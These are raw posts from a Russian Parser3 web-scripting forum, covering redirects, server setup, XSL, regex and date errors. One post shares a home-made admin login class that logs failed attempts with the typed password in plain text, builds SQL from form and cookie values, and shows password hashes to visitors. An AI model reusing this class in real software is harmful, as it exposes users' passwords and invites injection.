$response:location[/searsh/?searshtext=^taint[uri][$form:text]&wheresearsh=$form:where]\
...\
\
в index.htm:\
...\
^searsh:showsearsh[$form:searshtext;$form:wheresearsh]	\
...\
\
далее\
@showsearsh[searshtext;wheresearsh]\
^if($wheresearsh ne onsite){\
		#сдесь я перепробывал все способы\
		$searchUrl[${wheresearsh}${searshtext}]\
		$response:location[$searchUrl]\
		\
	\
}{\
 #поиск на сайте\
}\
\
В том то и дело, что поиск на сайте происходит если $wheresearsh = onsite, а хочется предложить пользователю введенную строку поискать в лучших поисковниках :)"
"18747","Вот такой код работает [специально проверил]:\
[code]$text[parser]\
$response:refresh[\
   $.value[0]\
   $.url[http://www.yandex.ru/yandsearch?text=$text]\
][/code]\
\
А location - внутренний редирект [команда веб-серверу] и переслать им можно только в пределах Вашего сайта. А refresh - внешний редирект [команда браузеру пользователя], который может перебросить куда угодно..."
"18748","Я решил свою проблему :)\
\
P.S. Ужаснитесь, я сюда еще вернусь... :)"
"18749","Из хроники борьбы:\
- на локальном диске сайт парсером (из Денверовской установки) генерится успешно\
- на сервер в cgi-bin загрузить правильную версию удалось, и она показывает новер версии\
- при попытке читать html-ы выдаётся ошибка про safe mode\
- в ответ на просьбу настроить в Apache sueхec, AllowOverride, хостер говорит, что \"у нас этого делать нельзя\", и предлагает...\
- использовать в качестве wraper-а другой каталог: scgi-bin...\
\
- копирую parser3.cgi, его конфигурационный файл auto.p и две папки (charsets и lib) в scgi-bin, переписываю ссылку в корне в файле .htaccess на новый каталог,\
- получаю \"Unhandled Exception\" парсера\
\
- другое предложение хостера -- таки скомпилировать парсер из исходников, но:\
я -- чайник, и понятия не имею как это делать.\
Потому -- если у кого-нибудь есть сгенерённый под Линукс на апаче файл parser3.cgi -- дайте, пожалуйста, линк откуда его качнуть, или -- напишите инструкцию по шагам как воспользоваться shell-ом (и что это такое), если известно, что хостер разрешил мне им пользоваться, чтобы я собрал парсер сам.\
\
Это что -- надо будет из \"заугрузить\" этого сайта скопировать исходники в какую-то папку на моём сервере, и -- запустить... какую программу?\
и напечатать какие команды?"
"18750","сейчас объект date в заголовке письма автоматически преобразуется в нужный формат. точно так же, как это происходит с полями $response:xxx"
"18751","«не отправляется» означает «ошибки не возникает, но письмо не приходит»?\
\
если так, адресуйте ваш вопрос к вашему системному администратору, попросите его [вежливо!] посмотреть журнал, сообщите адреса from/to/ и время отправки.\
\
перед этим тщательно проверьте эти адреса: многие почтовки отправляют далеко не со всех 'from', я уж молчу, что на пути к 'to' тоже могут быть предпятствия."
"18752","вы всё делаете почти правильно.\
проблема в том, что важная часть url'а (http://xxx) грязная, и вы отдаёте её в $response:location не почистив.\
\
2sumo:\
[code]\
#internal\
$response:location[/xxx/] \
#external\
$response:location[http://xxx/] \
[/code]"
"18754","как я уже говорил - это старая версия :)\
но есть и нужные веши..\
Большое спасибо!"
"18755","Вообщем, стоит  у меня Денвер. В папке \\home лежат папки \\localhost , \\test1 , \\test2 и моя папка \\bashedu. В моей папке лежит папка \\www в которой валяется .htaccess, index.html, sections.cfg, auto.p; Все вроде правильно. В .htaccess что надо написал. Может я все это кладу не в ту папку? И где должен быть парсер? По умолчанию он тут в \\cgi-glob лежит. Обидно что даже простейшего примера не мгу реализовать. И еще что не могу воспользоваться таким хорошим средством программирования в web'e"
"18756","Из переписки с хостинг-провайдером:\
\
После /configure делаю make, выдает вот что:\
\
bash-2.05a$ make\
Making install in src\
make[1]: Entering directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src'\
Making install in include\
make[2]: Entering directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src/include'\
make[3]: Entering directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src/include'\
make[3]: Nothing to be done for `install-exec-am'.\
make[3]: Nothing to be done for `install-data-am'.\
make[3]: Leaving directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src/include'\
make[2]: Leaving directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src/include'\
Making install in main\
make[2]: Entering directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src/main'\
make[2]: *** No rule to make target `pa_common.@OBJEXT@', needed by `libmain.a'.  Stop.\
make[2]: Leaving directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src/main'\
make[1]: *** [install-recursive] Error 1\
make[1]: Leaving directory `/home/yuri/public_html/cgi-bin/parser-3.0.0007/src'\
make: *** [install-recursive] Error 1\
\
\
и вот -- ещё:\
\
bash-2.05a$ make\
cd . && aclocal\
cd . && automake --gnu Makefile\
cd . && autoconf\
autoconf: Undefined macros:\
***BUG in Autoconf--please report*** AC_LIBTOOL_SETUP\
***BUG in Autoconf--please report*** AC_EPI\
configure.in:207:           AC_MSG_ERROR(when using --with-link-stdcpp one must specify --with-pathlink)\
configure.in:237:       AC_MSG_ERROR($GNOME_XML does not seem to be valid Gnome installation directory)\
configure.in:270:       AC_MSG_ERROR($GNOME_XML does not seem to be valid Gnome installation directory)\
configure.in:302:       AC_MSG_ERROR($GNOME_MIME does not seem to be valid Gnome installation directory)\
configure.in:332:       AC_MSG_ERROR($GNOME_MIME does not seem to be valid Gnome installation directory)\
configure.in:369:       AC_MSG_ERROR($APACHE13 does not seem to be valid Apache13 source distribution directory)\
configure.in:495:AC_CHECK_FUNCS(qsort, , AC_MSG_ERROR([No qsort library function.]))\
configure.in:496:AC_CHECK_FUNCS(select, , AC_MSG_ERROR([No select library function.]))\
configure.in:94:                AC_MSG_ERROR(bad charset requested \"$c\" - file $srccharsetsdir/$c.cfg not found)\
make: *** [configure] Error 1\
bash-2.05a$"
"18758","http://www.parser.ru/forum/?terms=redhat+lim&search_in_message=1&doSearch=1"
"18759","Во-первых допиши домен для своей папки - то бишь bashedu.ru (к примеру)\
Потом в папке www создай .htaccess c назначением обработки страниц парсером...\
Далее положи файлы сооветсвенно index.html auto.p sections.cfg в неё же...\
Рестартни денвер...И смело заходи на bashedu.ru (или www.bashedu.ru)\
Всё должно работать.Ну или по крайней мере увидишь сообщение об ошибке от парсера :)\
А если все же не работает (что практически невозможно в данном случае) то :\
\
Напиши как я уже писал, что говорит тест парсера в денвере..?\
\
Если тест проходит нормально (что скорее всего) и парсер правильно считает и тп. и тд -\
То заходи в папку этого теста (Z:\\home\\localhost\\www\\Test\\parser3) и ищи отличия со своей папкой.\
\
Если браузер выводит что-то типа ^navigation[] - то ничего кроме неправильной записи в .htaccess не может быть...\
\
На всякий случай напишу ещё раз содержание .htaccess для Денвера\
[code]\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
[/code]\
\
P.S Отвечай лучше в этот тред ;)"
"18760","ветки: HEAD и template_gc"
"18761","Пишу автозамену псевдотегов и ссылок в форуме.\
Всё отлично заменяеться и xml выглядит примерно так :\
\
[code]\
<document>\
 <message parent-id=\"328\" id=\"329\">\
  <date>2003-07-19 02:52:51</date> \
  <title>_ответ</title> \
  <author>aka dan</author> \
  <email>akadan47@yandex.ru</email> \
  <body>\
    <a href=\"http://www.testlink.ru\" target=\"_new\">http://www.testlink.ru</a> \
    <b>болд</b> \
    <i>италлик</i> \
    <blockquote>цитата</blockquote> \
  </body>\
 </message>\
<document>\
[/code]\
\
Но потом когда начинаю делать xsl трансформацию, теги <b></b>,<i></i>,<blockquote></blockquote> пропадают :(\
\
[code]\
#создание вышеописанного xml\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
	^untaint{^forum[$form:id]}\
</document>}]\
#та самая xsl трансформация\
$transformedDoc[^document.transform[message.xsl]]\
\
^transformedDoc.string[\
$.method[html]\
]\
[/code]\
\
Причем если выводить дерево без преобразования тоесть :\
\
[code]\
#создание вышеописанного xml\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
	^untaint{^forum[$form:id]}\
</document>}]\
\
^document.string[\
$.method[html]\
]\
[/code]\
\
Все теги выводятся правильно как и требуеться...\
Не подскажет ли кто в чём тут дело? А то с XML/XSL недавно столкнулся...\
\
Вот кусочек кода XSL шаблона который задействован  :\
\
[code]\
<xsl:template match=\"message\">\
    	<table bgcolor=\"#FFFFFF\" border=\"0\" cellpadding=\"10\" cellspacing=\"0\" width=\"100%\" height=\"100%\">\
		<tr>\
			<td valign=\"top\">\
    				<font size=\"+1\"><xsl:value-of select=\"title\" /></font><br /><br />\
				<table bgcolor=\"#FFFFFF\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\
					<tr>\
						<td>\
							<font size=\"3\"><i><xsl:value-of select=\"author\" /> | <xsl:value-of select=\"email\" /></i></font>\
						</td>\
						<td align=\"right\">\
							<font size=\"2\"><i><xsl:value-of select=\"date\" /></i></font>\
						</td>\
					</tr>\
				</table>\
				<br />\
                                # тутта судя повсему...\
				<font size=\"3\"><xsl:value-of select=\"body\" /></font>\
				\
    				<hr size=\"1\" />\
    				<xsl:apply-templates select=\"/document/tree-item[@parent-id = 0]\"/>\
    			</td>\
    		</tr>\
    	</table>\
    </xsl:template>\
[/code]\
Не могу понять как правильно написать.\
\
Заранее спасибо..."
"18762","Не могу составить регулярное выражение для поиска 3-х цифр (для использования в UltraEdit)\
задача вот какая, например найти в тексте 352 и заменять её на <a href=\"0352.html\">352</a>\
Как это сделать?\
\
Извините что пишу в этот форум, но кроме Вас, я не знаю больше к кому обратиться...\
Или подскажите где прочитать ответ на мой вопрос..."
"18763","есть код:\
[code]\
^if(def $form:submit){\
	^if(def $form:pict){\
		^form:pict.save[binary;/i/news/$form:pict.name]\
		^if(def $form:header && def $form:body){\
			^connect[$connect_string]{\
			…сообщение добавлено\
			^void:sql{insert into news (date, header, body, pict) values ('$form:date', '$form:header', '$form:body', '$form:pict.name')}\
			$response:location[/s/]			\
			}\
		}\
	}{\
		…для добавления новости необходимо заполнить все поля формы\
	}\
}\
[/code]\
\
вылетает ошибка, если не заполнена форма \"pict\"\
(void) not a method or junction, can not call it\
save\
/var/wwwhost/local/coder/s/index.html(42)\
exception.type=parser.runtime\
\
но фича в том что у меня уже код другой, но откуда парсер берет старый???"
"18764","т.е. в данный момент проблема свелась к тому что парсер почему-то обрабатывает форму со старыим кодом."
"18766","Спасибо"
"18767","На создаваемом сейчас сайте весь контент хранится в БД:\
\
[code]  # Заголовок страницы:\
  page_title    text                  NOT NULL default '',\
  # Тело страницы:\
  page_body     text                  NOT NULL default '',\
  # Является ли тело страницы кодом на Parser или чистым HTML?\
  is_code       enum('yes','no')      NOT NULL default 'no',  \
...\
  # Полнотекстовое индексирование <title> и <body>\
  FULLTEXT             (page_title,page_body),[/code]Что делать с поиском по страницам, где контент генерируется из парсерного кода, а не является чистым HTML? Пока просто не выдаю динамические страницы в числе результатов поиска, но это неправильно... Any ideas?"
"18768","Ита-а-к. Все сделал: положил файлы index.html auto.p sections.cfg в папку \\www . Туда же и .htaccess Перезапустил Денвер. Набираю в Explorer'е \"bashedu.ru\" он мне предлагает подключится к сети. Нажимаю автономно - ноль эффекта. Причем localhost спокойно запускается. Проверка Парсера - все нормально пишет.(выдал результат примера - 4). Не знаю уж что и делать. В общем ноль эмоций, ноль эрекций :-)"
"18769","это не хранить парсерный код в базе и парсить внешним кодом.\
Я храню в базе инфу в основном XML и это жизнь сильно облегчает."
"18770","Подожди... Здесь http://www.parser.ru/forum/?id=18738 ты писал что у тебя запускается твоя директория,\
только парсер не обрабатывает страницу...\
\
А сейчас что?\
\
Уже bashedu.ru не отображаеться?\
\
Проверь точно ли папка называется bashedu.ru ?\
\
В крайнем случае проверь пишет ли денвер при запуске хосты в hosts ? (В виндах это здесь -> C:\\WINDOWS\\system32\\drivers\\etc\\hosts)\
\
Если же всё запускаеться, но ты по-прежнему видишь только\
^navigation[] в браузере...\
\
Посмотри в директорию теста парсера, сделай copy/paste всего что там (особенно .htaccess)в свою директорию и проверь..."
"18771","Посмотрите, может вам необходимо настроить htpd.conf, чтоб Apache знал где корень сервера, где хосты.\
\
И зачем вы нажимаете кнопку \"автономно\"?\
Надо нажимать \"подключииться\", а если браузер выдаст окошко подключения, нажмите \"настройки\", и в окне выберете \"никогда не использовать\". После этого если браузер спросит у вас \"автономно\" или \"подключииться\", жмите \"подключииться\".\
\
И ещё, проверьте директорию cgi-bin, всё ли там нормально, выполняються ли в ней скрипты."
"18772","сделать робота, который станет ходить по http и индексировать документы."
"18773","В смысле я когда сам файл index.html открываю двойным нажатием кнопки, то эксплорер выводит \"^navigation[]\" . Если же пишешь в строке адреса эксплорера \"bashedu.ru\", то происходит вышеописаная фигня."
"18774","Ну единственное что я могу тебе сказать (чтобы не лазить тебе в httpd.conf) это попробовать переустановить денвер.\
\
Может и действительно что-то потустороннее с ним произошло (хотя странно очень).\
\
Хотя мне больше кажеться что все таки что-то ты перепутал...\
А что перепутал понять сложно пока ещё :)"
"18775","Unhandled Exception (Debug)\
column not found\
uri\
\
z:/home/bashedu.ru/www/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu z:/home/bashedu.ru/www/auto.p(5)\
navigation z:/home/bashedu.ru/www/index.html(6)\
\
Что бы это могло значить? А?"
"18776","это либо неправильная запись в .htaccess(чаще всего), либо пользователь пытается открыть файл не через браузер (по http://), а просто двойным нажатием на нем мыша, т.е. в обход веб-сервера, .htaccess, Парсера и т.д."
"18778","Блин, все равно ничего не выходит. Решил я бросить эту затею.\
Может быть с настройками сети что то неладно...\
\
Вот, что происходит: в IE в место нужной строки -\
http://www.yandex.ru/yandsearch?text=text\
\
 подставляется -\
\
http://domain.ru/searsh/http%3A//www.yandex.ru/yandsearch%3Ftext%3Dtext\
он впереди выставляет имя моего домена, а затем исковерканную строку запроса."
"18781","Тут http://www.spearance.ru/parser3/regex/?no=10 дается правило \
\
Выражение:\
 ^str.match[\\b([а-я]+)\\b(\\s+|^$)][gi]{}  30.04.2003\
Описание:\
 Удаляет из строки все русские символы\
Пример:\
 I feel так good!  \
Результат:\
 I feel good! \
Этот пример убирает не буквы а слова.\
А как сделать чтобы выбросить русские буквы например в самом слове (ну что бы из слова \"приU\" получить \"U\")."
"18782","Я даже умудрился вытянуть нужную ветку из CVS с помощью WinCVS...\
но мне всё же не удаётся эту ветку откомпилировать, видимо при вытягивании потерялись все permissions и прочее...\
да к тому же я не спец по *nix'ам и компиляции проектов под них в частности... так что сабж?"
"18783","Тут http://www.spearance.ru/parser3/regex/?no=10 дается правило \
\
Выражение:\
^str.match[\\b([а-я]+)\\b(\\s+|^$)][gi]{} 30.04.2003\
Описание:\
Удаляет из строки все русские символы\
Пример:\
I feel так good! \
Результат:\
I feel good! \
Этот пример убирает не буквы а слова.\
А как сделать чтобы выбросить русские буквы например в самом слове (ну что бы из слова \"приU\" получить \"U\")."
"18785","Что то я не понял вашего ответа"
"18786","Способ его применения: [b]^строка.match[[ЁёА-Яа-я]+][g]{}[/b]"
"18787","Спасибо разобрался"
"18788","Извиняюсь, но еще вопрос. Как вместо руских букв вставить теже русские но чтобы другого цвета были. \
Вот это \
^str.match[\\b([а-я]+)\\b][gi]{<font color=\"red\">$match.1</font>}\
Заменят цвет если только все буквы в слове русские. Если есть английская то все слово выводится одним цветом.\
Выражение ^str.match[[&#168;&#184;&#192;-&#223;&#224;-&#255;]+][gi] просто удаляет буквы но не заменяет. \
И вообще где можно взять подробное описание про регулярные выражения. Как ими пользоваться"
"18789","Этот код подсветит все русские буквы в тексте:\
[code]\
$string[Regulаr Eхрressiоns]\
^string.match[([ЁёА-я]+)][g]{<b>$match.1</b>}\
[/code]\
\
В Интернете много информации о Регулярных Выражениях, надо только поискать, но книга в руках всегда приятней."
"18790","Работает. Thanks"
"18791","ну вы же обещали...:((((\
ну когда народу новую игрушку то покажут????"
"18792","На локальном диске денверовская версия вполне себе летает.\
На скорость своего хостинга я никогда не жаловался -- статические страницы даже с обилием графики он выдавал всегда на вполне меня удовлетворявшей скорости.\
\
Страницы, генерируемые парсером, грузятся (если их предварительно нет в кеше клиента) секунд по 15 как минимум. Т.е., спустя 15 секунд она \"проявляется\" так же почти моментально, как на локальном компьютере. До этого -- в статусной строке браузера показывается progress-bar, который еле ползёт. Ощущение, как будто все эти полмегабайта, которые весит parser3.cgi, пропихиваются ко мне в браузер. Но ведь этого не может быть?\
\
Кто-нибудь сталкивался с такой медлительностью?\
Где и что подкрутить?\
\
Вариант \"скачать\" Teleport-ом локальный сайт, превратив его в статический html, и именно его загрузить на сервер (и перестать париться с парсером на сервере) оказался почти столь же трудоёмким, как не использование парсера вообще. Если хочется воспроизвести структуру каталогов (хочется), TeleportPro фигачит абсолютные ссылки (http://localhost/...), которые вычищать замучаешься."
"18793","Если да, то проблема может быть в ней, из-за её перегруженности, у меня бывало такое. Но может быть еще, что системный администратор выставил приоритеты на запускаемые процессы, сервер может и летает, а ваши программы притормаживают."
"18795","Для некоторых страниц, правда, происходит чтение внешнего текстового файла -- создаётся массив из 9 строчек и штук 6 колонок, где живут имена image-файлов -- примерно как в документации из внешнего файла читается структура меню. Но тормозят не только такие страницы, но и те, где ничего извне (кроме auto.p) не читается.\
\
Спрошу администратора..."
"18796","[url=./?id=18613]да, именно!, Constantine [16.07 23:50][/url]"
"18797","Борюсь с выводом на форуме помеченных новых сообщений в темах.\
Форум табличный, т.е. при заходе  - при списке тем высвечивается чтото типа \"новые\". + Кликая на новые пользователь получает только свои новые сообщения. Куки, куки, куки...\
\
Видимо совсем запутался. Может кто организовал что-то подобное? \
Направьте меня на путь)\
интересна сама организация"
"18799","Вот что выдает родимый:\
\
invalid datetime\
1983-04-01\
\
ну и что тут инвалидного? :)\
кто-нить сталкивался с такой проблемой???"
"18800","Вот рабочий код:\
[code]\
$date[^date::create[1983-04-01]]\
Год: $date.year Месяц: $date.month День: $date.day\
[/code]"
"18801","Ошибка выдается иммено при создании этой даты.\
Хост: valuehost.ru"
"18802","Если ДА, тогда что можно поделать, это баг.\
\
Вы хотя бы не работающий код приведите, почему люди должны догадываться из-за чего происходит ошибка?"
"18803","Любой код привит к ошибке...\
\
Я уже говорил, ошибка происходит ПРИ СОЗДАНИИ ДАТЫ!!!!!!\
И именно 1 апреля 1983 года!!! Дальге никакой код не выполняется..."
"18804","В учевнике нету ничего про работу с парольными данными, поэтому пришлось изобретать самому... получился такой своеобразный класс \
Как бы это, может кто че скажет, этот вариант вроде работает...\
admin.p\
@CLASS\
admin\
@load[]\
@login[]\
  $date[^date::now[]] \
  <center> \
  Служебный вход. Посторонним вход воспрещен.\
  <br>\
  Пожалуйста, назовите свое имя и свой пароль\
  <br> \
    <form method=\"POST\"> \
      <font size=\"1\">\
        Имя\
      </font>\
      <input name=\"user\">\
      <font size=\"1\">\
        Пароль\
      </font>\
      <input type=\"password\" name=\"password\">\
      <input type=\"submit\" value=\"   Вход   \" name=\"post\">\
    </form> \
  </center> \
  ^if(def $form:post){ \
    ^if(def $form:user){\
# Имя введено в форме\
      $admin[^table::load[admin.cfg]]\
      $exist[^admin.select($admin.nick eq $form:user)]\
      ^if($exist){\
        $password[^math:crypt[$form:password;$exist.password]]\
        ^if($exist.password eq $password){\
# Свой\
          $session[^math:random(1000000000000000000)]\
          $sessionhash[$session]\
#          $sessionhash[^math:crypt[$session;^$apr1^$]]\
          $date_now[^date::now[]] \
          ^MAIN:dbconnect{ \
            ^void:sql{\
              INSERT into session (sessionhash,\
                                   host,\
                                   userid,\
                                   username,\
                                   usergroup,\
                                   start,\
                                   lastactivity,\
                                   expired\
              ) \
              VALUES ('$sessionhash',\
                      '$env:REMOTE_ADDR',\
                      '$exist.userid',\
                      '$exist.nick',\
                      '$exist.group',\
                      '^date_now.sql-string[]',\
                      '^date_now.sql-string[]',\
                      '0'\
              )\
            } \
          } \
          $cookie:session[ \
            $.value[$session]  \
            $.expires[session] \
          ]   \
          $response:location[welcome.phtml] \
        }{\
          <center>\
            <font size=+3 color=red>\
              ДОСТУП ЗАПРЕЩЕН\
            </font>\
          </center> \
          <br>\
# пишем логи подбора паролей\
          $sessionhash[0]\
          $connect_string[mysql://user:pass@localhost/db] \
          $date_now[^date::now[]] \
          ^MAIN:dbconnect{ \
            ^void:sql{INSERT into session (sessionhash,\
                                           host,\
                                           userid,\
                                           username,\
                                           start,\
                                           lastactivity,\
                                           lastpage,\
                                           expired) \
                      VALUES ('$sessionhash',\
                              '$env:REMOTE_ADDR',\
                              '0',\
                              '$form:user',\
                              '^date_now.sql-string[]',\
                              '^date_now.sql-string[]',\
                              'trypass: $form:password',\
                              '^date_now.sql-string[]'\
                      )\
          } \
        } \
      } \
#Конец обработки чужого\
    }{\
      <center>\
        <font size=+3 color=red>\
          ДОСТУП ЗАПРЕЩЕН\
        </font>\
      </center> \
      <br>\
    }\
  }{ \
#Обработка пустого Username\
    <center>Поле Username обязательно для заполнения</center> \
#Отображение хеша пароля при отсутствии ника\
    $crypted[^math:crypt[$form:password;^$apr1^$]]  Hash пароля:<br>$crypted\
  } \
} \
\
@validate[]\
  $date_now[^date::now[]]\
  $old[^date::now(-0.005)]\
  ^MAIN:dbconnect{ \
    $session[\
      ^table::sql{SELECT lastactivity,username,usergroup\
                  FROM   session\
                  WHERE  sessionhash='$cookie:session'\
                  AND    expired='0'\
                  AND    host='$env:REMOTE_ADDR'\
                  LIMIT  1\
      }\
    ] \
  } \
  ^if($session){\
    $lastactivity[^date::create[$session.lastactivity]] \
      ^if($lastactivity > $old){\
#Авторизованый юзер со свежими cookie\
        $session.username \
        $page[$request:uri]\
        $uri[^page.split[/]]\
        ^uri.menu{}\
        ^uri.offset(-1)\
        ^MAIN:dbconnect{ \
          $access[\
            ^table::sql{SELECT uri\
                        FROM   groupaccess\
                        WHERE  groupid='$session.usergroup'\
                        AND    uri ='$uri.piece'\
                        LIMIT  1\
            }\
          ] \
        }\
        ^if($access){\
#Авторизованый юзер со свежими cookie на разрешеной странице\
          ^MAIN:dbconnect{\
            ^void:sql{UPDATE session \
                      SET    lastactivity='^date_now.sql-string[]',\
                             lastpage='$request:uri'\
                      WHERE  sessionhash='$cookie:session'\
            }\
          } \
        }{\
#Запрещеный раздел\
          $response:location[./]\
        }\
      }{\
#Юзер с устаревшим cookie\
        $response:location[./] \
      }\
    }{\
#Юзер без cookie\
      $response:location[./] \
  }\
\
@index[]\
  $user[^table::load[admin.cfg]]\
  $page[^table::load[sections.cfg]]\
  $group[^table::load[groups.cfg]]\
  <br>\
  ^if(^group.locate[id;$session.usergroup]){\
    С возвращением, $group.name  \
    <font size=+1>\
      <b>\
      $session.username\
      </b>\
    </font>\
    <br>\
    Вы можете посетить:\
    ^MAIN:dbconnect{ \
      $right[\
        ^table::sql{SELECT uri\
                    FROM   groupaccess\
                    WHERE  groupid='$group.id'\
        }\
      ] \
    }\
    ^page.menu{\
      $1[$group.id $page.uri]\
      ^if(^right.locate[uri;$page.uri]){\
        <br><br>\
        <a href=$page.uri>\
          <font size=+1>\
            $page.name\
          </font>\
        </a>\
      }\
    }\
  }{\
# Юзер с неверной группой\
    Извините,   \
    <font size=+1>\
      <b>\
      $session.username\
      </b>\
    </font>\
    - вас здесь не ждут больше!\
    <br>\
    <br>\
    Пройдите, пожалуйста, на \
    <a href=exit.phtml>\
      Выход\
    </a>\
    <br>\
    <br>\
  }\
\
@permissions[]\
  $user[^table::load[admin.cfg]]\
  $page[^table::load[sections.cfg]]\
  $group[^table::load[groups.cfg]]\
  <form method=\"POST\"> \
    ^group.menu{\
      <font size=+1>\
        $group.id <b>$group.name</b>\
      </font>\
      ^user.menu{\
        ^if($user.group eq $group.id){\
          $user.nick\
         }\
      }\
      <br>\
      ^MAIN:dbconnect{ \
        $right[\
          ^table::sql{SELECT uri\
                      FROM   groupaccess\
                      WHERE  groupid='$group.id'\
          }\
        ] \
      }\
      ^page.menu{\
        $1[$group.id $page.uri]\
        ^if(^right.locate[uri;$page.uri]){\
          <input type=\"submit\" value=\"+ $page.name (Запретить)\" name=\"$group.id $page.uri\">\
          ^if(def $form:$1){<b>-</b>\
            ^MAIN:dbconnect{ \
              ^void:sql{DELETE from groupaccess \
                        WHERE uri='$page.uri'\
                        AND   groupid='$group.id'\
              } \
            }\
            $response:location[$request:uri] \
          }\
        }{\
          <input type=\"submit\" value=\"- $page.name (Разрешить)\" name=\"$group.id $page.uri\">\
          ^if(def $form:$1){<b>+</b>\
            ^MAIN:dbconnect{ \
              ^void:sql{INSERT into groupaccess (uri,groupid) \
                      VALUES ('$page.uri','$group.id')\
              } \
            } \
            $response:location[$request:uri] \
          }\
        }\
      }[<br>] \
    }[<br><br>]\
  </form>\
\
@exit[]\
  $date_now[^date::now[]]\
  ^MAIN:dbconnect{\
    ^void:sql{\
              UPDATE session SET expired='^date_now.sql-string[]'\
              WHERE expired='0'\
    }\
  } \
  $response:location[../]\
\
@sessions[]\
  ^MAIN:dbconnect{ \
    $session[\
      ^table::sql{SELECT id,\
                         sessionhash,\
                         userid,\
                         usergroup,\
                         host,\
                         username,\
                         lastactivity,\
                         lastpage,\
                         start,\
                         expired\
                  FROM   session\
                  ORDER by id DESC\
      }\
    ]\
  }\
  <table border=1>\
      <tr>\
        <td>\
          <nobr>\
            id\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            sessionhash\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            userid\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            usergroup\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            host\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            username\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            start\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            lastactivity\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            lastpage\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            expired\
          </nobr>\
        </td>\
      </tr>\
    ^session.menu{\
      <tr>\
        <td>\
          <nobr>\
              $session.id\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.sessionhash\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.userid\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.usergroup\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.host\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.username\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.start\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.lastactivity\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.lastpage\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            $session.expired\
          </nobr>\
        </td>\
      </tr>\
    }\
      <tr>\
        <td>\
          <nobr>\
            id\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            sessionhash\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            userid\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            usergroup\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            host\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            username\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            lastactivity\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            lastpage\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            start\
          </nobr>\
        </td>\
        <td>\
          <nobr>\
            expired\
          </nobr>\
        </td>\
      </tr>\
  </table>\
\
в раздел admin кладется файл auto.p\
auto.p\
@USE\
/classes/admin.p\
\
\
@auto[] \
  $connect_string[mysql://db_user:db_user_password@localhost/db] \
  $locator[/cs/admin/]\
\
@pagetitle[]\
  Homenet - CS - Управление сайтом - \
  $admin[^admin::load[]] \
  ^admin.validate[]\
\
И при генерации каждой странице в методе заголовка окна он проверяет  права пользователя...\
\
Другие файлы из раздела admin\
\
admin.cfg\
userid	nick	group	password\
1	Larrikin	1	$apr1$uzF7K1wf$hSbY78X5EVu8tWx1bdDcM0\
\
example.phtml\
@body_additional[]\
Этот раздел тоже можно делать без потери проверки доступа\
\
@body_main[]\
Это страница просто для примера, на таких страницах размещается код управления содержимым сайта.\
\
exit.phtml\
@body_additional[]\
  Администрирование сайта Counter-Strike\
\
@body_main[]\
  <br>\
  $admin[^admin::validate[]] \
  ^admin.exit[] \
\
groups.cfg\
id	name\
1	Admin\
2	Судья\
3	Test\
\
index.phtml\
@USE\
/classes/admin.p\
\
@pagetitle[]\
#Тут метод переопределен, чтобы на страницу попадать без проверки доступа можно было всем...\
  Homenet - CS - Управление сайтом - Login\
\
@body[]\
  <br>\
  $admin[^admin::load[]] \
  ^admin.login[] \
\
permission.phtml\
@body_main[]\
<br>\
  $admin[^admin::validate[]] \
  ^admin.permissions[] \
\
sections.cfg\
id	uri	name\
1	welcome.phtml	Welcome\
2	example.phtml	Example\
3	permission.phtml	Права\
4	sessions.phtml	Логи\
5	exit.phtml	Exit\
\
sessions.phtml\
@body_additional[]\
Логи сессий\
\
@body_main[]\
  $admin[^admin::validate[]] \
  ^admin.sessions[] \
\
welcome.phtml\
@body_main[]\
  <br>\
  $admin[^admin::validate[]] \
  ^admin.index[]"
"18805","Мне очень удобно отлаживать код, используя метод из САМОГО ГЛАВНОГО auto.p\
\
@unhandled_exception_release[exception;stack]\
$response:content-type[ \
        $.value[text/html] \
        $.charset[$response:charset] \
] \
\
<html>\
<head>\
  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
  <title>UNHANDLED EXCEPTION (root)</title> \
</head>\
<body bgcolor=white> \
  <h1>\
    Произошла ошибка!\
    $exception.type \
  </h1>\
  При выполнении кода: \
  <b>$exception.file</b>\
  <br>\
  Строка номер: \
  <b>$exception.lineno</b>\
  <br>\
